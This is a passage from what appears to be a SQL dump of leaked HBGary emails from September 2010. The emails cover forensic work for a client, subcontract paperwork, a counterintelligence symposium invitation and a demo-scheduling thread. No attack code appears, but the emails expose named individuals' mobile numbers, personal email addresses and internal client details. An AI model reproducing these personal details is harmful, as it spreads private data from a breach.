you think are good matches for ROMAS. \r\n\r\nThanks,\r\n\r\nChris \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2117,'aaron_hbgary_com/2117.html'),(11740,'2010-09-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008808.M247323P14101Q6595.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: QQ Node Account Retasking','FYI --\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Tue, Sep 14, 2010 at 4:03 PM\r\nSubject: Re: QQ Node Account Retasking\r\nTo: Phil Wallisch \r\nCc: Mark Trynor , Shawn Bracken ,\r\nMatt O\'Flynn \r\n\r\n\r\nOK --\r\n\r\nMark is saving an updated QQ_EPO_export_and_DHCP spreadsheet in the\r\ncloud that has a new tab with the compare between the NodeDump XLS and\r\nEPO.  There are 53 machines that are in the EPO that are not in the\r\nNodeDump.\r\n\r\nHe also was able to acquire the memory dump on ABQQNAOMAIL.  It\'s\r\ncompressing now (13% complete at this time).\r\n\r\nWe\'ll get started on item 2 below.\r\n\r\nTed\r\n\r\n\r\n\r\nOn Tue, Sep 14, 2010 at 3:56 PM, Phil Wallisch  wrote:\r\n> Ted and Mark,\r\n>\r\n> I\'m going to have Shawn head up the agent deployment and accounting effort.\r\n> He has written custom tools to do this and can do some surgical strikes.\r\n>\r\n> I do still need your help with a few things.\r\n>\r\n> 1.  Acquire the memory image from ABQQNAOMAIL.  Mark knows about this.\r\n> 2.  Start examining the highest scoring DDNA items in the Nodes folder in\r\n> AD.  I would like to start whitelisting stuff we don\'t care about.  Things\r\n> like skype I have been whitelisting.  When you are doing this please make a\r\n> list of of the modules you\'ve whitelisted and a one sentence blurb as to\r\n> why.  We can track them on the QQ Google doc sheet.\r\n>\r\n> Thanks.\r\n>\r\n> --\r\n> Phil Wallisch | Principal Consultant | HBGary, Inc.\r\n>\r\n> 3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n>\r\n> Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax:\r\n> 916-481-1460\r\n>\r\n> Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog:\r\n> https://www.hbgary.com/community/phils-blog/\r\n>\r\n\r\n\r\n\r\n--\r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',1053,'aaron_hbgary_com/1053.html'),(11741,'2010-09-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008808.M440911P14101Q6596.eml','\"Shawn Bracken\" <shawn@hbgary.com>,\"Shawn Bracken\" <shawn@hbgary.com>,,','Re: QQ Node Account Retasking','Hi Shawn,\r\n\r\nWould you mind sharing some of your agent tools / techniques with the\r\ngroup, for future reference?\r\n\r\nThanks,\r\nTed\r\n\r\n\r\nOn Tue, Sep 14, 2010 at 3:56 PM, Phil Wallisch  wrote:\r\n> Ted and Mark,\r\n>\r\n> I\'m going to have Shawn head up the agent deployment and accounting effort.\r\n> He has written custom tools to do this and can do some surgical strikes.\r\n>\r\n> I do still need your help with a few things.\r\n>\r\n> 1.  Acquire the memory image from ABQQNAOMAIL.  Mark knows about this.\r\n> 2.  Start examining the highest scoring DDNA items in the Nodes folder in\r\n> AD.  I would like to start whitelisting stuff we don\'t care about.  Things\r\n> like skype I have been whitelisting.  When you are doing this please make a\r\n> list of of the modules you\'ve whitelisted and a one sentence blurb as to\r\n> why.  We can track them on the QQ Google doc sheet.\r\n>\r\n> Thanks.\r\n>\r\n> --\r\n> Phil Wallisch | Principal Consultant | HBGary, Inc.\r\n>\r\n> 3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n>\r\n> Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax:\r\n> 916-481-1460\r\n>\r\n> Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog:\r\n> https://www.hbgary.com/community/phils-blog/\r\n>\r\n',294,'aaron_hbgary_com/294.html'),(11742,'2010-09-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008808.M648857P14101Q6597.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Items Needed Gatorbait','Begin forwarded message:From: &quot;Ott, Stephen D&quot; &lt;Stephen.Ott@ManTech.com&gt;\r\nDate: September 14, 2010 5:29:44 PM MDTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Cc: &quot;Grays, Cheryl D&quot; &lt;Cheryl.Grays@ManTech.com&gt;, &quot;Simpson, Patrick B&quot; &lt;Patrick.Simpson@ManTech.com&gt;, &quot;Zimmerman, Penny L&quot; &lt;Penny.Zimmerman@ManTech.com&gt;, &quot;Hull, Wayne A&quot; &lt;Wayne.Hull@ManTech.com&gt;\r\nSubject: Items Needed Gatorbait\r\n\r\n\r\n\r\nTed,\r\n\r\n \r\n\r\nGood evening.  Please see the list below of items that\r\nwe are awaiting (in red).\r\n\r\n \r\n\r\nAlso, while we\r\nhave received pricing from you, we do need to have the fee clearly broken out—this\r\nis because we can’t price fee on fee for this proposal.  We need\r\nthis rate information by 10:00 Wednesday.  Please let me know if you have\r\nany questions.\r\n\r\nThank you.\r\n\r\nRegards,\r\n\r\nSteve\r\n\r\n\r\n \r\n  \r\n   \r\n  \r\n  \r\n  HB Gary\r\n  \r\n \r\n \r\n  \r\n  TA (AW)\r\n  \r\n  \r\n  X\r\n  \r\n \r\n \r\n  \r\n  Company Logo (MC)\r\n  \r\n  \r\n   \r\n  \r\n \r\n \r\n  \r\n  Company Summ. (MC)\r\n  \r\n  \r\n   \r\n  \r\n \r\n \r\n  \r\n  POC Info (SO)\r\n  \r\n  \r\n  X\r\n  \r\n \r\n \r\n  \r\n  Reps &amp; Certs (SO)\r\n  \r\n  \r\n   \r\n  \r\n \r\n \r\n  \r\n  Fiscal Year (CG)\r\n  \r\n  \r\n   \r\n  \r\n \r\n \r\n  \r\n  Pricing (CG)\r\n  \r\n  \r\n  X\r\n  \r\n \r\n \r\n  \r\n  OCI Statement (AW)\r\n  \r\n  \r\n  X\r\n  \r\n \r\n \r\n  \r\n  SF 328 (LT)\r\n  \r\n  \r\n  X\r\n  \r\n \r\n \r\n  \r\n  KMPL (LT)\r\n  \r\n  \r\n  X\r\n  \r\n \r\n \r\n  \r\n  Personnel Matrix (LT)\r\n  \r\n  \r\n   \r\n  \r\n \r\n\r\n\r\n \r\n\r\n \r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n \r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary. Unless you are the addressee\r\n(or authorized to receive for the addressee), you may not use, copy, disclose\r\nor distribute this email or any of the contents of this email.  If you\r\nreceived this email in error, please promptly notify the sender by reply email\r\nand delete this email from your records.  Thank you.\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16186,'aaron_hbgary_com/16186.html'),(11743,'2010-09-15','\"Forrest R Frank\" <ffrank54@comcast.net>','/aaron@hbgary.com/new/1297008808.M860367P14101Q6598.eml','ffrank@ida.org','Fall National Military Intelligence Symposium','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\nDear Colleagues:&nbsp;Once again it is my honor and privilege to extend to you an invitation to participate in the National Military Intelligence Association&#8217;s Fall Symposium, October 12/13, 2010.&nbsp; This symposium will examine issues of Counterintelligence in today&#8217;s complex civil-military-coalition environment. The Symposium will be conducted at the SECRET-NOFORN classification level at the MITRE Corp, Auditorium 1, 7525 Colshire Drive McLean, VA. MITRE - McLean, VA&nbsp;&nbsp;Map &nbsp; Because there is limited seating capacity for this event, we recommend advanced registration. &nbsp;The details follow below.&nbsp;OverviewThere have been significant changes to U.S. Counterintelligence in 2010, as well as challenges and opportunities. Hear the latest information on CI from the premier DIA Defense Counterintelligence and HUMINT Center (DCHC). Senior intelligence leaders from DIA will discuss the entire CI Enterprise and CI training. Army, Navy, and Air Force CI leadership will address the latest changes to their organizations from their services perspective. The Combatant Commands will provide us the current CI picture from their particular geographic areas. A special Army and NATO CI unit will address CI issues in a wartime environment. The FBI will weigh in by addressing the latest issues concerning domestic CI. Problems associated with the coming withdrawal from Iraq and Afghanistan and the future of CI will be highlighted. The critical areas of CI analysis and the CI interface with Cyber will round out the symposium.&nbsp;12 OCTOBER TUESDAY&nbsp;0800 - 0815 Administrative Remarks 0815 - 0830 Welcome 0830 - 0920 Keynote Address - BG Robert Carr, USA, Director, Defense CI &amp; HUMINT Center 0940 - 1030 DoD CI Enterprise Mr. Scott Laird, Chief, CI Enterprise Management Division, DCHC1030 - 1120 Army CI Today &#8211; COL Jim Stuteville, USA, G2X, CI Coordinating Authority1120 - 1210 Navy CI, Mr. Stephen F. Smith, Executive Assistant Director for CI, Naval Criminal Investigative Service1310 - 1400 Domestic CI Threats and Responses, Mr. Clayton Lemme, CI Division, Washington Field Office, FBI1400 - 1450 Air Force CI Today, Mr. jude Sunderbruch, CI Division, Air Force Office of Special Investigations (Invited)1510 - 1600 CI Analysis, Mr. Frank Fishbaugh, DXC CDHC (Invited)1600 - 1610 Closing Remarks&nbsp;13 OCTOBER WEDNESDAY&nbsp;\r\n\r\n0815\r\n- 0830 National Counterintelligence\r\nExecutive (NCIX) Today, \r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDouglas Thomas, Principal Deputy Director of National Intelligence, NCIX\r\n\r\n0920 - 1010 DoD CI Training - COL Andy Martin, USA, Enterprise CI Training, DCHC 1030 - 1120 Panel, CI Needs in Theater - CENTCOM, PACOM, SOUTHCOM, &amp; EUCOM CISOs 1120 - 1210 DIA CI Today - Mr. Tom Husband, Deputy Director, CI, DCHC 1310 - 1400 CI Utilization, Post-Withdrawal, Mr. Toby Sullivan, USD(I), LtCol Jim Anderson, USAF, SAF/IGX1400 - 1450 CI in a Coalition Environment &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;COL Laura Potter, USA, ACCI, 650th MI Group, Supreme HQ Allied Powers Europe 1510 - 1600 CI and Cyber Operations - Mr. Warren Russell, CI Cyber, DCHC 1600 - 1610 Closing Remarks &nbsp;Classified visit requests should be addressed to:\r\n\r\nThe MITRE Corporation\r\nMail stop: N080\r\n7515 Colshire Drive\r\nMcLean, VA 22102-7508\r\nFax number: 781-271-3088 - Confirmation number: 703-983-5800.\r\nJPAS - MITRE\'s SMO Code is 7L0307 for Washington.\r\n\r\nIndividuals without authorized Classified Visit Requests on file will be denied access to classified meetings.&nbsp;Registration fees for this event are as follows:&nbsp;\r\n\r\n\r\n \r\n  \r\n  Registrant Type\r\n  \r\n  \r\n  Price\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n    Regular Member\r\n    \r\n   \r\n  \r\n  \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    US$ 355.00\r\n    \r\n   \r\n  \r\n  \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n    Associate Member\r\n    \r\n   \r\n  \r\n  \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    US$ 355.00\r\n    \r\n   \r\n  \r\n  \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n    Non-Member\r\n    \r\n   \r\n  \r\n  \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    US$ 395.00\r\n    \r\n   \r\n  \r\n  \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n    GOV/MILITARY\r\n    \r\n   \r\n  \r\n  \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    US$ 100.00\r\n    \r\n   \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\nScholarships and special rates are available for undergraduate and graduate students upon request.&nbsp;&nbsp;For further information go to the NMIA website at http://www.nmia.orgNational Military Intelligence AssociationPhone: 434.542.5929Fax&nbsp; : 1.703.738.7487Email: Admin@nmia.org\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nA registration form for this event is also attached.\r\n\r\n&nbsp;\r\n\r\nPlease do share this invitation with friends and colleagues who\r\nshare an interest counterintelligence matters!\r\n\r\n&nbsp;\r\n\r\nThank you\r\n\r\n&nbsp;\r\n\r\nSincerely yours,\r\n\r\n&nbsp;\r\n\r\nForrest\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nForrest R. Frank, Ph. D. Secretary-Treasurer, National\r\nMilitary Intelligence Association\r\n\r\nPO Box 6844 Arlington, VA 222206-0844\r\n\r\ndirect voice 703-578-2841; cell 703-869-2235; e-mail (1)\r\nffrank54@comcast.net; e-mail (2) ffrank@ida.org \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10971,'aaron_hbgary_com/10971.html'),(11744,'2010-09-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008810.M347625P14101Q6599.eml','edward.j.baranoski@ugov.gov,edward.j.baranoski@ugov.gov','HBGary Abstract for IARPA-BAA-10-09','Ed,\r\n\r\nAttached is an abstract at a high level describing our approach to attribution.  I look forward to your comments and thoughts on the value of this approach.\r\n\r\nAaron\r\n\r\n',12569,'aaron_hbgary_com/12569.html'),(11745,'2010-09-15','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008812.M346563P14101Q6601.eml','nolan@informationsecuritysolutionsllc.com,\"McGuffey, David C.\" <DAVID.C.MCGUFFEY@saic.com>,\"Rich Cummings\" <rich@hbgary.com>,nolan@informationsecuritysolutionsllc.com,\"McGuffey, David C.\" <DAVID.C.MCGUFFEY@saic.com>,\"Rich Cummings\" <rich@hbgary.com>','RE: Social Media, Exploitation, and Persistent Internet Operations','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNolan,\r\n\r\n&nbsp;\r\n\r\nThanks for the reminder.&nbsp; I&#8217;ve been immersed in proposal\r\nwriting since Sunday morning and my mind has been preoccupied.&nbsp; I had\r\nlined up Ted Vera to do the demo via webex because I wanted him to show you the\r\nnew Threat Management Center.&nbsp; As of last Wednesday they were still\r\ntweaking TMC and weren&#8217;t sure if they would have it ready by this\r\nWednesday.&nbsp; If you need to see TMC then we may want to reschedule.&nbsp;\r\nIf all you want to see is Active Defense, Digital DNA and Responder, then I can\r\nask Rich or Ted to do the demo.&nbsp; Let&#8217;s touch base Wednesday morning\r\nto see if we are still on.&nbsp; My apology for being distracted.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nolan Clifford\r\n[mailto:nolan@informationsecuritysolutionsllc.com] \r\nSent: Tuesday, September 14, 2010 10:37 PM\r\nTo: \'Bob Slapnik\'; \'McGuffey, David C.\'; \'Rich Cummings\'\r\nCc: \'Blake Darche\'\r\nSubject: RE: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAre we still on for tomorrow at 10 or should we reschedule?\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nNolan\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNolan Clifford, CISSP, CFCP\r\n\r\nCEO, Information Security Solutions\r\n\r\nwww.informationsecuritysolutionsllc.com\r\n\r\n703-945-7480 &#8211;Blackberry\r\n\r\n703-869-7396 &#8211; Mobile\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nolan Clifford\r\n[mailto:nolan@informationsecuritysolutionsllc.com] \r\nSent: Tuesday, September 07, 2010 4:01 PM\r\nTo: \'Bob Slapnik\'; \'McGuffey, David C.\'; \'Rich Cummings\'\r\nCc: \'Blake Darche\'\r\nSubject: RE: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBob,\r\n\r\n&nbsp;\r\n\r\nWe would do the demo here in the same room most likely. That\r\ndate and time works fine for me, thanks.\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\nNolan\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNolan Clifford, CISSP, CFCP\r\n\r\nCEO, Information Security Solutions\r\n\r\nwww.informationsecuritysolutionsllc.com\r\n\r\n703-945-7480 &#8211;Blackberry\r\n\r\n703-869-7396 &#8211; Mobile\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, September 07, 2010 2:01 PM\r\nTo: \'McGuffey, David C.\'; nolan@informationsecuritysolutionsllc.com;\r\n\'Rich Cummings\'\r\nCc: \'Blake Darche\'\r\nSubject: RE: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNolan and David,\r\n\r\n&nbsp;\r\n\r\nHow about 10 am on Wed 9/15? &nbsp;&nbsp;Would we meet at the\r\nSAIC office or onsite at Fort Meade?&nbsp; Odds are pretty good that we will be\r\nable to include a demo of the Threat Management Center which is the ability to\r\nautomatically analyze large numbers of binaries.&nbsp; If we demo TMC it would\r\nneed to be via webex as our guys working on TMC are in Colorado.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;\r\nbob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: McGuffey, David C.\r\n[mailto:DAVID.C.MCGUFFEY@saic.com] \r\nSent: Tuesday, September 07, 2010 8:22 AM\r\nTo: nolan@informationsecuritysolutionsllc.com; Bob Slapnik; Rich\r\nCummings\r\nCc: McGuffey, David C.; Blake Darche\r\nSubject: RE: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSame here.&nbsp; I&#8217;m off Friday to take 50 of our church\r\nyouth (and 10 adults) on a beach camping trip to Assateague Is. this coming\r\nweekend.&nbsp; May take Monday to recover. I have a commitment on Wed the 15th,\r\nso Tue, Thu, Fri would be best.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDave McGuffey\r\n\r\nPrincipal Information Assurance Engineer // NSA-IAM, NSA-IEM\r\n\r\nScience Applications International Corp., Columbia, MD\r\n\r\n410-872-4051 (w)\r\n\r\n443.597.6402 (mobile)\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nolan Clifford\r\n[mailto:nolan@informationsecuritysolutionsllc.com] \r\nSent: Monday, September 06, 2010 19:23\r\nTo: \'Bob Slapnik\'; McGuffey, David C.; \'Blake Darche\'; \'Rich Cummings\'\r\nSubject: RE: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWeek of 9/13 is much better for me&#8230;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNolan Clifford, CISSP, CFCP\r\n\r\nCEO, Information Security Solutions\r\n\r\nwww.informationsecuritysolutionsllc.com\r\n\r\n703-945-7480 &#8211;Blackberry\r\n\r\n703-869-7396 &#8211; Mobile\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Thursday, September 02, 2010 11:16 PM\r\nTo: nolan@informationsecuritysolutionsllc.com; \'McGuffey, David C.\';\r\n\'Blake Darche\'; \'Rich Cummings\'\r\nSubject: RE: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNolan,\r\n\r\n&nbsp;\r\n\r\nSorry, can&#8217;t do 9/9.&nbsp; Here are some days/times that\r\nwork&#8230;&#8230;.\r\n\r\n9/7, 10 am or later\r\n\r\n9/10\r\n\r\nWeek of 9/13 is open\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;\r\nbob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nolan Clifford\r\n[mailto:nolan@informationsecuritysolutionsllc.com] \r\nSent: Thursday, September 02, 2010 9:26 PM\r\nTo: \'Bob Slapnik\'; \'McGuffey, David C.\'; \'Blake Darche\'; \'Rich Cummings\'\r\nSubject: RE: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHow does next Thursday the 9th work for everyone?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNolan Clifford, CISSP, CFCP\r\n\r\nCEO, Information Security Solutions\r\n\r\nwww.informationsecuritysolutionsllc.com\r\n\r\n703-945-7480 &#8211;Blackberry\r\n\r\n703-869-7396 &#8211; Mobile\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Thursday, September 02, 2010 3:34 PM\r\nTo: nolan@informationsecuritysolutionsllc.com; \'McGuffey, David C.\';\r\n\'Blake Darche\'; \'Rich Cummings\'\r\nSubject: RE: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNolan, David, and Blake,\r\n\r\n&nbsp;\r\n\r\nWe welcome the opportunity to deploy our software in Government\r\nspaces.&nbsp; Prior to deploying we would like to get more clear on what\r\ncapabilities they need and which of our software products best fit the\r\nneeds.&nbsp; What is the best next step?&nbsp; Would it be to meet with you and\r\nyour Gov&#8217;t customer to match up needs and capabilities?\r\n\r\n&nbsp;\r\n\r\nThe schedules for Rich and myself are remarkably open over the\r\nnext few weeks.&nbsp; Please suggest a couple of days/times that work for you\r\nto get together.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; | &nbsp;Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;\r\nbob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nolan Clifford\r\n[mailto:nolan@informationsecuritysolutionsllc.com] \r\nSent: Thursday, September 02, 2010 2:14 PM\r\nTo: \'McGuffey, David C.\'; \'Blake Darche\'; Rich Cummings; Bob Slapnik\r\nSubject: RE: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreat idea Dave.\r\n\r\n&nbsp;\r\n\r\nRich and Bob &#8211; Any thoughts on this concept?\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nNolan\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNolan Clifford, CISSP, CFCP\r\n\r\nCEO, Information Security Solutions\r\n\r\nwww.informationsecuritysolutionsllc.com\r\n\r\n703-945-7480 &#8211;Blackberry\r\n\r\n703-869-7396 &#8211; Mobile\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: McGuffey, David C.\r\n[mailto:DAVID.C.MCGUFFEY@saic.com] \r\nSent: Thursday, September 02, 2010 11:17 AM\r\nTo: nolan@informationsecuritysolutionsllc.com; Blake Darche\r\nCc: McGuffey, David C.\r\nSubject: RE: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNolan,\r\n\r\n&nbsp;\r\n\r\nHow do we get a demo copy of the HBGary stuff for Blake to test\r\nover at Gov&#8217;t spaces?\r\n\r\n&nbsp;\r\n\r\nOnce we get a lab here, we should be testing out their stuff\r\nhere&#8230;but in the meantime, Blake should get a shot at it over there.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDave McGuffey\r\n\r\nPrincipal Information Assurance Engineer // NSA-IAM, NSA-IEM\r\n\r\nScience Applications International Corp., Columbia, MD\r\n\r\n410-872-4051 (w)\r\n\r\n443.597.6402 (mobile)\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nolan Clifford\r\n[mailto:nolan@informationsecuritysolutionsllc.com] \r\nSent: Wednesday, September 01, 2010 17:10\r\nTo: McGuffey, David C.; Blake Darche\r\nSubject: FW: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nFYI\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNolan Clifford, CISSP, CFCP\r\n\r\nCEO, Information Security Solutions\r\n\r\nwww.informationsecuritysolutionsllc.com\r\n\r\n703-945-7480 &#8211;Blackberry\r\n\r\n703-869-7396 &#8211; Mobile\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, September 01, 2010 2:32 PM\r\nSubject: Social Media, Exploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThe rise of the social web has created an entirely new set\r\nof useful technologies and security vulnerabilities. &nbsp;It is our experience\r\nthat most individuals and organizations understand there are risks to using\r\nsocial media but don\'t understand the full extent, from what types of use, what\r\nthe real risks are, or how the vulnerabilities can be fully exploited, and how\r\nto effectively protect themselves.\r\n\r\n\r\n\r\n\r\nHBGary Federal has extensive experience in social media technologies, how to\r\nuse these tools effectively, what the risks are to information exposure and\r\nexploitation, and how to more effectively protect yourself and your\r\norganization. &nbsp;We feel this is an area that needs more attention and\r\nunderstanding quickly as the commercial social media platforms provide to much\r\neasy opportunities for threats.\r\n\r\nAttached is our training brochure for our online and in-class social media\r\ntraining programs, 1/2 and full day. &nbsp;We also offer a tailored training\r\nprogram that is preceded by a social media penetration test. &nbsp;The information\r\ngathered during the pen test is provided in a before and after information\r\nexposure report as well as the information is used to tailor the training\r\nprogram to make it as relevant as possible to the organization.\r\n\r\nVisit our training web page to review and sign up for one of our online\r\ntraining classes or send an email to schedule in-class room training. &nbsp;You\r\ncan also follow us on twitter to receive regular updates &nbsp;or become a fan\r\nof our Facebook page.\r\n\r\nWeb:&nbsp;training.hbgaryfederal.com\r\nTwitter: HBGaryFed\r\nFacebook: HBGary Federal\r\nEmail:&nbsp;training@hbgaryfederal.com\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3108 - Release Date: 09/02/10\r\n02:34:00\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3110 - Release Date: 09/02/10\r\n14:50:00\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3112 - Release Date: 09/06/10\r\n14:34:00\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3135 - Release Date: 